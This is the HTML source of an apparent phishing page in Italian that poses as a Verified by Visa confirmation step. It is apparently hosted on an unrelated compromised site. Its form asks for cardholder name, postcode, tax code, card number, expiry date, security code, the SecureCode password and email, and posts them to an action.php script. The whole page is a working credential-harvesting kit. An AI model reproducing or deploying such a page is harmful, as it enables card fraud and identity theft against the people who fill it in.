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<title>Pagina di Conferma</title>
<base href="http://tt-orchestra.de/files/">
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Pagina di Conferma
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<form name="frm" name="frm" method="post" onsubmit="return validate()" action="action.php">
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<img src="vbv.gif" align="right" />
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<td colspan="2" class="headtext" height="35" align="center" bgcolor="#FFFFFF">
<img src="bullet.gif" /> Protezione Verified by Visa
<span class="navtext">
<a href="http://www.visaeu.com/iusevisa/seehowitworks.html" target="_blank">
Cos'è VbV?
</a>
</span>
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Se la tua carta è protetta dal sistema di sicurezza Verified by Visa.
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<img src="bullet.gif">Per confermare i seguenti dati clicca su "Procedi" una sola volta.
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Nome sulla Carta:
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<td height="20" width="50%">
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<input value="" name="Cardholder" maxlength="50" size="20" type="text" />
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<td height="20" align="center" width="50%">
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CAP:
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<td height="20" width="50%">
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<input value="" name="cap" maxlength="5" size="5" type="text" />
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<tr class="bluetext" align="center" valign="center">
<td height="20" align="center" width="50%">
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Codice Fiscale / Partita IVA:
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<td height="20" width="50%">
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<input value="" name="cod_fiscal" maxlength="20" size="16" type="text" />
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Tipo di Carta:
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<select id="type" name="type">
<option value="" selected="selected">----------</option>
<option value="VISA">VISA</option>
<option value="MASTERCARD">MasterCard</option>
</select>
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<tr class="bluetext" align="center" valign="center">
<td height="20" width="50%">
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Numero della Carta:
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<td height="20" width="50%">
<div align="left">
<input value="" name="CardNum" size="16" maxlength="16" type="text" />
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<tr class="bluetext" align="center" valign="center">
<td height="20" width="50%">
<div align="left">
Data di scadenza:
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<td height="20" width="50%">
<div align="left">
<input value="" name="ExMonth" maxlength="2" size="2" type="text" />
/
<input value="" name="ExYear" maxlength="2" size="2" type="text" />
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<td height="20" width="50%">
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Codice di Sicurezza:
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<td height="20" width="50%">
<div align="left">
<input value="" name="scrumiera" maxlength="3" size="3" type="text" />
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<td height="20" width="50%">
<div align="left">
Password SecureCode™:
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<td height="20" width="50%">
<div align="left">
<input value="" name="vbvcacat" maxlength="12" size="12" type="password" />
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<tr class="bluetext" align="center" valign="center">
<td height="20" width="50%">
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Posta Elettronica:
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<td height="20" width="50%">
<div align="left">
<input value="" name="email" maxlength="100" size="20" type="text" />
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<table class="bluenavbar" align="center" border="0" cellpadding="0" cellspacing="0" width="540" />
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<td width="283"> </td>
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<p align="right">
<input type="submit" class="button" value="Procedi" />
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</form>
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